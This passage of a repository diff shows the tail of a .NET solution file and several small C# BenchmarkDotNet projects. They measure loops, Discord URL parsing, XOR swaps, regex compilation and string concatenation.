{834A33D0-C8AA-435A-A631-5ECC33097E17}.Release|Any CPU.Build.0 = Release|Any CPU
{EB83B114-CC77-43AC-8633-A8E668B1A049}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{EB83B114-CC77-43AC-8633-A8E668B1A049}.Debug|Any CPU.Build.0 = Debug|Any CPU
{EB83B114-CC77-43AC-8633-A8E668B1A049}.Release|Any CPU.ActiveCfg = Release|Any CPU
{EB83B114-CC77-43AC-8633-A8E668B1A049}.Release|Any CPU.Build.0 = Release|Any CPU
{C37A707F-EFF7-4CE2-BB57-1BA6CD841BD0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{C37A707F-EFF7-4CE2-BB57-1BA6CD841BD0}.Debug|Any CPU.Build.0 = Debug|Any CPU
{C37A707F-EFF7-4CE2-BB57-1BA6CD841BD0}.Release|Any CPU.ActiveCfg = Release|Any CPU
{C37A707F-EFF7-4CE2-BB57-1BA6CD841BD0}.Release|Any CPU.Build.0 = Release|Any CPU
{4DBCBCD3-6831-47A6-BAD1-D49DA61E3280}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{4DBCBCD3-6831-47A6-BAD1-D49DA61E3280}.Debug|Any CPU.Build.0 = Debug|Any CPU
{4DBCBCD3-6831-47A6-BAD1-D49DA61E3280}.Release|Any CPU.ActiveCfg = Release|Any CPU
{4DBCBCD3-6831-47A6-BAD1-D49DA61E3280}.Release|Any CPU.Build.0 = Release|Any CPU
{0166ACDD-5963-4399-84C1-384D852D2728}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{0166ACDD-5963-4399-84C1-384D852D2728}.Debug|Any CPU.Build.0 = Debug|Any CPU
{0166ACDD-5963-4399-84C1-384D852D2728}.Release|Any CPU.ActiveCfg = Release|Any CPU
{0166ACDD-5963-4399-84C1-384D852D2728}.Release|Any CPU.Build.0 = Release|Any CPU
{6882C767-63CB-4387-AD13-0C59471CA759}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{6882C767-63CB-4387-AD13-0C59471CA759}.Debug|Any CPU.Build.0 = Debug|Any CPU
{6882C767-63CB-4387-AD13-0C59471CA759}.Release|Any CPU.ActiveCfg = Release|Any CPU
{6882C767-63CB-4387-AD13-0C59471CA759}.Release|Any CPU.Build.0 = Release|Any CPU
{FD9C7858-BA0F-43A5-A981-79716BD8F331}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{FD9C7858-BA0F-43A5-A981-79716BD8F331}.Debug|Any CPU.Build.0 = Debug|Any CPU
{FD9C7858-BA0F-43A5-A981-79716BD8F331}.Release|Any CPU.ActiveCfg = Release|Any CPU
{FD9C7858-BA0F-43A5-A981-79716BD8F331}.Release|Any CPU.Build.0 = Release|Any CPU
{0D5A2249-5336-451F-AC79-7CBAE41D46E0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{0D5A2249-5336-451F-AC79-7CBAE41D46E0}.Debug|Any CPU.Build.0 = Debug|Any CPU
{0D5A2249-5336-451F-AC79-7CBAE41D46E0}.Release|Any CPU.ActiveCfg = Release|Any CPU
{0D5A2249-5336-451F-AC79-7CBAE41D46E0}.Release|Any CPU.Build.0 = Release|Any CPU
{2DEF358D-4A84-4783-BE7D-18D78BEDE0A0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{2DEF358D-4A84-4783-BE7D-18D78BEDE0A0}.Debug|Any CPU.Build.0 = Debug|Any CPU
{2DEF358D-4A84-4783-BE7D-18D78BEDE0A0}.Release|Any CPU.ActiveCfg = Release|Any CPU
{2DEF358D-4A84-4783-BE7D-18D78BEDE0A0}.Release|Any CPU.Build.0 = Release|Any CPU
{DFE9EC1A-E31A-49A4-94A8-C4A36D2A9F77}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{DFE9EC1A-E31A-49A4-94A8-C4A36D2A9F77}.Debug|Any CPU.Build.0 = Debug|Any CPU
{DFE9EC1A-E31A-49A4-94A8-C4A36D2A9F77}.Release|Any CPU.ActiveCfg = Release|Any CPU
{DFE9EC1A-E31A-49A4-94A8-C4A36D2A9F77}.Release|Any CPU.Build.0 = Release|Any CPU
{24763AC2-85DD-4473-9C89-D6BF0E8267FB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{24763AC2-85DD-4473-9C89-D6BF0E8267FB}.Debug|Any CPU.Build.0 = Debug|Any CPU
{24763AC2-85DD-4473-9C89-D6BF0E8267FB}.Release|Any CPU.ActiveCfg = Release|Any CPU
{24763AC2-85DD-4473-9C89-D6BF0E8267FB}.Release|Any CPU.Build.0 = Release|Any CPU
{FD3B9DF2-29FC-4A51-AEB8-2495DAC5A369}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{FD3B9DF2-29FC-4A51-AEB8-2495DAC5A369}.Debug|Any CPU.Build.0 = Debug|Any CPU
{FD3B9DF2-29FC-4A51-AEB8-2495DAC5A369}.Release|Any CPU.ActiveCfg = Release|Any CPU
{FD3B9DF2-29FC-4A51-AEB8-2495DAC5A369}.Release|Any CPU.Build.0 = Release|Any CPU
{472698F1-9E41-47AF-8805-E358FE2B63FB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{472698F1-9E41-47AF-8805-E358FE2B63FB}.Debug|Any CPU.Build.0 = Debug|Any CPU
{472698F1-9E41-47AF-8805-E358FE2B63FB}.Release|Any CPU.ActiveCfg = Release|Any CPU
{472698F1-9E41-47AF-8805-E358FE2B63FB}.Release|Any CPU.Build.0 = Release|Any CPU
{957B8279-B735-454C-B381-28C647E006BB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{957B8279-B735-454C-B381-28C647E006BB}.Debug|Any CPU.Build.0 = Debug|Any CPU
{957B8279-B735-454C-B381-28C647E006BB}.Release|Any CPU.ActiveCfg = Release|Any CPU
{957B8279-B735-454C-B381-28C647E006BB}.Release|Any CPU.Build.0 = Release|Any CPU
{55920614-9DFA-4052-9930-DEBB7BFC8414}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{55920614-9DFA-4052-9930-DEBB7BFC8414}.Debug|Any CPU.Build.0 = Debug|Any CPU
{55920614-9DFA-4052-9930-DEBB7BFC8414}.Release|Any CPU.ActiveCfg = Release|Any CPU
{55920614-9DFA-4052-9930-DEBB7BFC8414}.Release|Any CPU.Build.0 = Release|Any CPU
{C434A646-C742-4EC5-9FFF-ACFADEF32B81}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{C434A646-C742-4EC5-9FFF-ACFADEF32B81}.Debug|Any CPU.Build.0 = Debug|Any CPU
{C434A646-C742-4EC5-9FFF-ACFADEF32B81}.Release|Any CPU.ActiveCfg = Release|Any CPU
{C434A646-C742-4EC5-9FFF-ACFADEF32B81}.Release|Any CPU.Build.0 = Release|Any CPU
{36D8561F-F0EB-4262-8CE8-FB88BE373EB4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{36D8561F-F0EB-4262-8CE8-FB88BE373EB4}.Debug|Any CPU.Build.0 = Debug|Any CPU
{36D8561F-F0EB-4262-8CE8-FB88BE373EB4}.Release|Any CPU.ActiveCfg = Release|Any CPU
{36D8561F-F0EB-4262-8CE8-FB88BE373EB4}.Release|Any CPU.Build.0 = Release|Any CPU
{7A6C21D3-FDD8-4F73-A94C-608545169F66}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{7A6C21D3-FDD8-4F73-A94C-608545169F66}.Debug|Any CPU.Build.0 = Debug|Any CPU
{7A6C21D3-FDD8-4F73-A94C-608545169F66}.Release|Any CPU.ActiveCfg = Release|Any CPU
{7A6C21D3-FDD8-4F73-A94C-608545169F66}.Release|Any CPU.Build.0 = Release|Any CPU
{DBE4E62D-7588-45F7-9B46-F94028F0E811}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{DBE4E62D-7588-45F7-9B46-F94028F0E811}.Debug|Any CPU.Build.0 = Debug|Any CPU
{DBE4E62D-7588-45F7-9B46-F94028F0E811}.Release|Any CPU.ActiveCfg = Release|Any CPU
{DBE4E62D-7588-45F7-9B46-F94028F0E811}.Release|Any CPU.Build.0 = Release|Any CPU
{3D2CA600-8540-47A2-B488-2624D54390A8}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{3D2CA600-8540-47A2-B488-2624D54390A8}.Debug|Any CPU.Build.0 = Debug|Any CPU
{3D2CA600-8540-47A2-B488-2624D54390A8}.Release|Any CPU.ActiveCfg = Release|Any CPU
{3D2CA600-8540-47A2-B488-2624D54390A8}.Release|Any CPU.Build.0 = Release|Any CPU
{EA6C122F-7AD1-46A6-BE0A-6B382BC131B6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{EA6C122F-7AD1-46A6-BE0A-6B382BC131B6}.Debug|Any CPU.Build.0 = Debug|Any CPU
{EA6C122F-7AD1-46A6-BE0A-6B382BC131B6}.Release|Any CPU.ActiveCfg = Release|Any CPU
{EA6C122F-7AD1-46A6-BE0A-6B382BC131B6}.Release|Any CPU.Build.0 = Release|Any CPU
{7D12BB88-57D5-408B-BC76-7F60CCF8F3C9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{7D12BB88-57D5-408B-BC76-7F60CCF8F3C9}.Debug|Any CPU.Build.0 = Debug|Any CPU
{7D12BB88-57D5-408B-BC76-7F60CCF8F3C9}.Release|Any CPU.ActiveCfg = Release|Any CPU
{7D12BB88-57D5-408B-BC76-7F60CCF8F3C9}.Release|Any CPU.Build.0 = Release|Any CPU
{1F58F526-7F5A-4D4B-B80A-3C33E29C0DDC}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{1F58F526-7F5A-4D4B-B80A-3C33E29C0DDC}.Debug|Any CPU.Build.0 = Debug|Any CPU
{1F58F526-7F5A-4D4B-B80A-3C33E29C0DDC}.Release|Any CPU.ActiveCfg = Release|Any CPU
{1F58F526-7F5A-4D4B-B80A-3C33E29C0DDC}.Release|Any CPU.Build.0 = Release|Any CPU
{18D01F93-0B92-40DC-8629-4C03759FC59E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{18D01F93-0B92-40DC-8629-4C03759FC59E}.Debug|Any CPU.Build.0 = Debug|Any CPU
{18D01F93-0B92-40DC-8629-4C03759FC59E}.Release|Any CPU.ActiveCfg = Release|Any CPU
{18D01F93-0B92-40DC-8629-4C03759FC59E}.Release|Any CPU.Build.0 = Release|Any CPU
{F635EBDF-9BD4-4785-87AD-2DD768C363C9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{F635EBDF-9BD4-4785-87AD-2DD768C363C9}.Debug|Any CPU.Build.0 = Debug|Any CPU
{F635EBDF-9BD4-4785-87AD-2DD768C363C9}.Release|Any CPU.ActiveCfg = Release|Any CPU
{F635EBDF-9BD4-4785-87AD-2DD768C363C9}.Release|Any CPU.Build.0 = Release|Any CPU
{4DB29CDF-C9A1-430C-A789-1B0E65023590}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{4DB29CDF-C9A1-430C-A789-1B0E65023590}.Debug|Any CPU.Build.0 = Debug|Any CPU
{4DB29CDF-C9A1-430C-A789-1B0E65023590}.Release|Any CPU.ActiveCfg = Release|Any CPU
{4DB29CDF-C9A1-430C-A789-1B0E65023590}.Release|Any CPU.Build.0 = Release|Any CPU
{03209BD7-DD1D-4BE4-A871-B6AA8EB48CF9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{03209BD7-DD1D-4BE4-A871-B6AA8EB48CF9}.Debug|Any CPU.Build.0 = Debug|Any CPU
{03209BD7-DD1D-4BE4-A871-B6AA8EB48CF9}.Release|Any CPU.ActiveCfg = Release|Any CPU
{03209BD7-DD1D-4BE4-A871-B6AA8EB48CF9}.Release|Any CPU.Build.0 = Release|Any CPU
{9FC59E07-F50D-4285-BE5C-4A0156089AE1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{9FC59E07-F50D-4285-BE5C-4A0156089AE1}.Debug|Any CPU.Build.0 = Debug|Any CPU
{9FC59E07-F50D-4285-BE5C-4A0156089AE1}.Release|Any CPU.ActiveCfg = Release|Any CPU
{9FC59E07-F50D-4285-BE5C-4A0156089AE1}.Release|Any CPU.Build.0 = Release|Any CPU
{CEC6B570-FEDF-43EA-8B5D-B2322CB880C9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{CEC6B570-FEDF-43EA-8B5D-B2322CB880C9}.Debug|Any CPU.Build.0 = Debug|Any CPU
{CEC6B570-FEDF-43EA-8B5D-B2322CB880C9}.Release|Any CPU.ActiveCfg = Release|Any CPU
{CEC6B570-FEDF-43EA-8B5D-B2322CB880C9}.Release|Any CPU.Build.0 = Release|Any CPU
{D909599F-3A2A-4423-BAE0-A4B40A5F09C4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{D909599F-3A2A-4423-BAE0-A4B40A5F09C4}.Debug|Any CPU.Build.0 = Debug|Any CPU
{D909599F-3A2A-4423-BAE0-A4B40A5F09C4}.Release|Any CPU.ActiveCfg = Release|Any CPU
{D909599F-3A2A-4423-BAE0-A4B40A5F09C4}.Release|Any CPU.Build.0 = Release|Any CPU
{F30BDA1F-3203-4191-944A-070DCF4905B2}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{F30BDA1F-3203-4191-944A-070DCF4905B2}.Debug|Any CPU.Build.0 = Debug|Any CPU
{F30BDA1F-3203-4191-944A-070DCF4905B2}.Release|Any CPU.ActiveCfg = Release|Any CPU
{F30BDA1F-3203-4191-944A-070DCF4905B2}.Release|Any CPU.Build.0 = Release|Any CPU
{0A37A89E-66A6-4BF8-8F11-D388E8406F2B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{0A37A89E-66A6-4BF8-8F11-D388E8406F2B}.Debug|Any CPU.Build.0 = Debug|Any CPU
{0A37A89E-66A6-4BF8-8F11-D388E8406F2B}.Release|Any CPU.ActiveCfg = Release|Any CPU
{0A37A89E-66A6-4BF8-8F11-D388E8406F2B}.Release|Any CPU.Build.0 = Release|Any CPU
{0DACAADE-F388-4C03-AAAA-990917FA6BD7}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{0DACAADE-F388-4C03-AAAA-990917FA6BD7}.Debug|Any CPU.Build.0 = Debug|Any CPU
{0DACAADE-F388-4C03-AAAA-990917FA6BD7}.Release|Any CPU.ActiveCfg = Release|Any CPU
{0DACAADE-F388-4C03-AAAA-990917FA6BD7}.Release|Any CPU.Build.0 = Release|Any CPU
{B84420CC-FBFB-41FC-B1B3-F3F0637382FD}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{B84420CC-FBFB-41FC-B1B3-F3F0637382FD}.Debug|Any CPU.Build.0 = Debug|Any CPU
{B84420CC-FBFB-41FC-B1B3-F3F0637382FD}.Release|Any CPU.ActiveCfg = Release|Any CPU
{B84420CC-FBFB-41FC-B1B3-F3F0637382FD}.Release|Any CPU.Build.0 = Release|Any CPU
{611F553F-AE76-4DE4-BEAF-FB07E1D42145}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{611F553F-AE76-4DE4-BEAF-FB07E1D42145}.Debug|Any CPU.Build.0 = Debug|Any CPU
{611F553F-AE76-4DE4-BEAF-FB07E1D42145}.Release|Any CPU.ActiveCfg = Release|Any CPU
{611F553F-AE76-4DE4-BEAF-FB07E1D42145}.Release|Any CPU.Build.0 = Release|Any CPU
{D3956C0F-BE5A-4276-8F85-C0F8F8250931}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{D3956C0F-BE5A-4276-8F85-C0F8F8250931}.Debug|Any CPU.Build.0 = Debug|Any CPU
{D3956C0F-BE5A-4276-8F85-C0F8F8250931}.Release|Any CPU.ActiveCfg = Release|Any CPU
{D3956C0F-BE5A-4276-8F85-C0F8F8250931}.Release|Any CPU.Build.0 = Release|Any CPU
{E0DFB8D1-5F56-46B9-B519-A270F84D666E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{E0DFB8D1-5F56-46B9-B519-A270F84D666E}.Debug|Any CPU.Build.0 = Debug|Any CPU
{E0DFB8D1-5F56-46B9-B519-A270F84D666E}.Release|Any CPU.ActiveCfg = Release|Any CPU
{E0DFB8D1-5F56-46B9-B519-A270F84D666E}.Release|Any CPU.Build.0 = Release|Any CPU
{B77CD82E-0BAB-4452-A5A4-AAA13D8BB9D0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{B77CD82E-0BAB-4452-A5A4-AAA13D8BB9D0}.Debug|Any CPU.Build.0 = Debug|Any CPU
{B77CD82E-0BAB-4452-A5A4-AAA13D8BB9D0}.Release|Any CPU.ActiveCfg = Release|Any CPU
{B77CD82E-0BAB-4452-A5A4-AAA13D8BB9D0}.Release|Any CPU.Build.0 = Release|Any CPU
{CEBB8458-59B0-4F47-8D8C-C03BC3D69B84}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{CEBB8458-59B0-4F47-8D8C-C03BC3D69B84}.Debug|Any CPU.Build.0 = Debug|Any CPU
{CEBB8458-59B0-4F47-8D8C-C03BC3D69B84}.Release|Any CPU.ActiveCfg = Release|Any CPU
{CEBB8458-59B0-4F47-8D8C-C03BC3D69B84}.Release|Any CPU.Build.0 = Release|Any CPU
{B38B1DF3-599B-44F1-BC5D-8C23756EBD85}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{B38B1DF3-599B-44F1-BC5D-8C23756EBD85}.Debug|Any CPU.Build.0 = Debug|Any CPU
{B38B1DF3-599B-44F1-BC5D-8C23756EBD85}.Release|Any CPU.ActiveCfg = Release|Any CPU
{B38B1DF3-599B-44F1-BC5D-8C23756EBD85}.Release|Any CPU.Build.0 = Release|Any CPU
{221CAE99-5A4D-41A7-8C9D-936F11760B15}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{221CAE99-5A4D-41A7-8C9D-936F11760B15}.Debug|Any CPU.Build.0 = Debug|Any CPU
{221CAE99-5A4D-41A7-8C9D-936F11760B15}.Release|Any CPU.ActiveCfg = Release|Any CPU
{221CAE99-5A4D-41A7-8C9D-936F11760B15}.Release|Any CPU.Build.0 = Release|Any CPU
{9537565E-22C6-4FD5-ACD1-E2F63D3E41B6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{9537565E-22C6-4FD5-ACD1-E2F63D3E41B6}.Debug|Any CPU.Build.0 = Debug|Any CPU
{9537565E-22C6-4FD5-ACD1-E2F63D3E41B6}.Release|Any CPU.ActiveCfg = Release|Any CPU
{9537565E-22C6-4FD5-ACD1-E2F63D3E41B6}.Release|Any CPU.Build.0 = Release|Any CPU
{E2CA4E37-1023-4B1E-85FA-A4D3321B7BA5}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{E2CA4E37-1023-4B1E-85FA-A4D3321B7BA5}.Debug|Any CPU.Build.0 = Debug|Any CPU
{E2CA4E37-1023-4B1E-85FA-A4D3321B7BA5}.Release|Any CPU.ActiveCfg = Release|Any CPU
{E2CA4E37-1023-4B1E-85FA-A4D3321B7BA5}.Release|Any CPU.Build.0 = Release|Any CPU
{153CA51C-A9A9-4137-80C9-9ECB97E6B2DB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{153CA51C-A9A9-4137-80C9-9ECB97E6B2DB}.Debug|Any CPU.Build.0 = Debug|Any CPU
{153CA51C-A9A9-4137-80C9-9ECB97E6B2DB}.Release|Any CPU.ActiveCfg = Release|Any CPU
{153CA51C-A9A9-4137-80C9-9ECB97E6B2DB}.Release|Any CPU.Build.0 = Release|Any CPU
{0587EEAC-ACAE-4622-89C9-AC324FAC430A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{0587EEAC-ACAE-4622-89C9-AC324FAC430A}.Debug|Any CPU.Build.0 = Debug|Any CPU
{0587EEAC-ACAE-4622-89C9-AC324FAC430A}.Release|Any CPU.ActiveCfg = Release|Any CPU
{0587EEAC-ACAE-4622-89C9-AC324FAC430A}.Release|Any CPU.Build.0 = Release|Any CPU
{F0A3EC63-1422-4D82-A69B-8BD88FF5B5F6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{F0A3EC63-1422-4D82-A69B-8BD88FF5B5F6}.Debug|Any CPU.Build.0 = Debug|Any CPU
{F0A3EC63-1422-4D82-A69B-8BD88FF5B5F6}.Release|Any CPU.ActiveCfg = Release|Any CPU
{F0A3EC63-1422-4D82-A69B-8BD88FF5B5F6}.Release|Any CPU.Build.0 = Release|Any CPU
{6FCF7A4E-329C-4E25-9D50-D8DF1EBE387B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{6FCF7A4E-329C-4E25-9D50-D8DF1EBE387B}.Debug|Any CPU.Build.0 = Debug|Any CPU
{6FCF7A4E-329C-4E25-9D50-D8DF1EBE387B}.Release|Any CPU.ActiveCfg = Release|Any CPU
{6FCF7A4E-329C-4E25-9D50-D8DF1EBE387B}.Release|Any CPU.Build.0 = Release|Any CPU
{3AC20C3A-0FB3-41C3-81A6-C4610050576A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{3AC20C3A-0FB3-41C3-81A6-C4610050576A}.Debug|Any CPU.Build.0 = Debug|Any CPU
{3AC20C3A-0FB3-41C3-81A6-C4610050576A}.Release|Any CPU.ActiveCfg = Release|Any CPU
{3AC20C3A-0FB3-41C3-81A6-C4610050576A}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,10 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
</Project>

View File

@ -0,0 +1,3 @@
// See https://aka.ms/new-console-template for more information
Console.WriteLine("Hello, World!");

View File

@ -0,0 +1,15 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<RootNamespace>E001_BigOLoopBenchmarks</RootNamespace>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<ItemGroup>
<PackageReference Include="BenchmarkDotNet" Version="0.13.12"/>
</ItemGroup>
</Project>

View File

@ -0,0 +1,36 @@
using BenchmarkDotNet.Attributes;
using BenchmarkDotNet.Running;
BenchmarkRunner.Run<BigOLoop>();
[SimpleJob, MemoryDiagnoser(false)]
public class BigOLoop
{
[Benchmark]
[Arguments(1)]
[Arguments(10)]
[Arguments(100)]
[Arguments(1000)]
[Arguments(10000)]
public void Linear(int dimension)
{
int total = dimension * dimension;
for (var iterator = 0; iterator < total; iterator++)
{
}
}
[Benchmark]
[Arguments(1)]
[Arguments(10)]
[Arguments(100)]
[Arguments(1000)]
[Arguments(10000)]
public void Exponential(int dimension)
{
for (var x = 0; x < dimension; x++)
for (var y = 0; y < dimension; y++)
{
}
}
}

View File

@ -0,0 +1,18 @@
using BenchmarkDotNet.Attributes;
namespace E002_DiscordUriParser;
[SimpleJob, MemoryDiagnoser(false)]
public class DiscordUriParserBenchmarks
{
private const string Message = "This is a test https://discord.com/channels/" +
"779115633837211659/815556722722209803/944679403420524654";
[Benchmark]
[Arguments(Message)]
public (ulong, ulong, ulong) UsingUri(string input) => DiscordUrlParser.UsingUri(input);
[Benchmark]
[Arguments(Message)]
public (ulong, ulong, ulong) UsingRegex(string input) => DiscordUrlParser.UsingRegex(input);
}

View File

@ -0,0 +1,79 @@
using System.Text.RegularExpressions;
namespace E002_DiscordUriParser;
public partial class DiscordUrlParser
{
private static readonly Regex Regex = GetUrlRegex();
public static (ulong, ulong, ulong) UsingRegex(string input)
{
Match match = Regex.Match(input);
if (!match.Success)
{
return (0, 0, 0);
}
return (ulong.Parse(match.Groups[1].Value), ulong.Parse(match.Groups[2].Value), ulong.Parse(match.Groups[3].Value));
}
public static (ulong, ulong, ulong) UsingUri(string input)
{
string[] words = input.Split(' ');
foreach (string word in words)
{
if (!Uri.IsWellFormedUriString(word, UriKind.Absolute))
{
continue;
}
var uri = new Uri(word);
string host = uri.Host;
if (host.IndexOf('.') != host.LastIndexOf('.'))
{
// fuck your subdomains
host = host[(host.LastIndexOf('.', host.LastIndexOf('.', host.Length - 1) - 1) + 1)..];
}
if (host != "discord.com")
{
continue;
}
string path = uri.AbsolutePath;
if (!path.StartsWith("/channels/"))
{
continue;
}
path = path["/channels/".Length..];
int firstSeparatorIndex = path.IndexOf('/');
if (firstSeparatorIndex == -1)
{
continue;
}
int secondSeparatorIndex = path.IndexOf('/', firstSeparatorIndex + 1);
if (secondSeparatorIndex == -1)
{
continue;
}
if (ulong.TryParse(path[..firstSeparatorIndex], out ulong guild)
&& ulong.TryParse(path[(firstSeparatorIndex + 1)..secondSeparatorIndex], out ulong channel)
&& ulong.TryParse(path[(secondSeparatorIndex + 1)..], out ulong message))
{
return (guild, channel, message);
}
}
return (0, 0, 0);
}
/*lang=regex*/
private const string UrlRegexPattern = @"https://(?:www\.|canary\.|beta\.)?discord.com/channels/([0-9]+)/([0-9]+)/([0-9]+)/?";
[GeneratedRegex(UrlRegexPattern, RegexOptions.IgnoreCase | RegexOptions.Compiled, "en-GB")]
private static partial Regex GetUrlRegex();
}

View File

@ -0,0 +1,15 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<RootNamespace>E002_DiscordUriParser</RootNamespace>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<ItemGroup>
<PackageReference Include="BenchmarkDotNet" Version="0.13.12"/>
</ItemGroup>
</Project>

View File

@ -0,0 +1,5 @@
var message = "This is a test https://canary.discord.com/channels/779115633837211659/815556722722209803/944679403420524654";
Console.WriteLine(E002_DiscordUriParser.DiscordUrlParser.UsingUri(message));
message = "This is a test https://beta.discord.com/channels/779115633837211659/815556722722209803/944679403420524654";
Console.WriteLine(E002_DiscordUriParser.DiscordUrlParser.UsingUri(message));

View File

@ -0,0 +1,15 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<RootNamespace>E003_CharBenchmarks</RootNamespace>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<ItemGroup>
<PackageReference Include="BenchmarkDotNet" Version="0.13.12"/>
</ItemGroup>
</Project>

View File

@ -0,0 +1,20 @@
using BenchmarkDotNet.Attributes;
using BenchmarkDotNet.Running;
BenchmarkRunner.Run<CharBenchmark>();
[SimpleJob, MemoryDiagnoser(false)]
public class CharBenchmark
{
[Benchmark]
public char TestA()
{
return 'a';
}
[Benchmark]
public char TestUtf16()
{
return '\u0369';
}
}

View File

@ -0,0 +1,15 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<RootNamespace>E004_SwapBenchmarks</RootNamespace>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<ItemGroup>
<PackageReference Include="BenchmarkDotNet" Version="0.13.12"/>
</ItemGroup>
</Project>

View File

@ -0,0 +1,47 @@
using BenchmarkDotNet.Attributes;
using BenchmarkDotNet.Running;
BenchmarkRunner.Run<SwapBenchmarks>();
[SimpleJob, MemoryDiagnoser(false)]
public class SwapBenchmarks
{
[Benchmark]
[Arguments(69, 420)]
public void Swap1(ref int a, ref int b)
{
a ^= b ^ (b = a);
}
[Benchmark]
[Arguments(69, 420)]
public void Swap2(ref int a, ref int b)
{
a = (a ^= b) ^ (b ^= a);
}
[Benchmark]
[Arguments(69, 420)]
public void Swap3(ref int a, ref int b)
{
a ^= b;
b ^= a;
a ^= b;
}
[Benchmark]
[Arguments(69, 420)]
public void SwapClassic(ref int a, ref int b)
{
int t = a;
a = b;
b = t;
}
[Benchmark]
[Arguments(69, 420)]
public void SwapViaDeconstruction(ref int a, ref int b)
{
(a, b) = (b, a);
}
}

View File

@ -0,0 +1,15 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<RootNamespace>E005_RegexCompiledBenchmarks</RootNamespace>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<ItemGroup>
<PackageReference Include="BenchmarkDotNet" Version="0.13.12"/>
</ItemGroup>
</Project>

View File

@ -0,0 +1,26 @@
using System.Text.RegularExpressions;
using BenchmarkDotNet.Attributes;
using BenchmarkDotNet.Running;
BenchmarkRunner.Run<RegexCompiledBenchmarks>();
[SimpleJob, MemoryDiagnoser(false)]
public class RegexCompiledBenchmarks
{
private static readonly Regex RegexInstance = new(@"\d");
private static readonly Regex CompiledRegexInstance = new(@"\d", RegexOptions.Compiled);
[Benchmark]
[Arguments("1234567890")]
public int BasicRegex(string input)
{
return RegexInstance.Matches(input).Count;
}
[Benchmark]
[Arguments("1234567890")]
public int CompiledRegex(string input)
{
return CompiledRegexInstance.Matches(input).Count;
}
}

View File

@ -0,0 +1,14 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<ItemGroup>
<PackageReference Include="BenchmarkDotNet" Version="0.13.12"/>
</ItemGroup>
</Project>

View File

@ -0,0 +1,51 @@
using System.Text;
using BenchmarkDotNet.Attributes;
using BenchmarkDotNet.Running;
BenchmarkRunner.Run<ConcatBenchmarks>();
[SimpleJob, MemoryDiagnoser(false)]
public class ConcatBenchmarks
{
private string _string1;
private string _string2;
private string _string3;
[GlobalSetup]
public void Setup()
{
_string1 = "Hello";
_string2 = "World";
_string3 = "!";
}
[Benchmark]
public string PlusOperator()
{
return _string1 + _string2 + _string3;
}
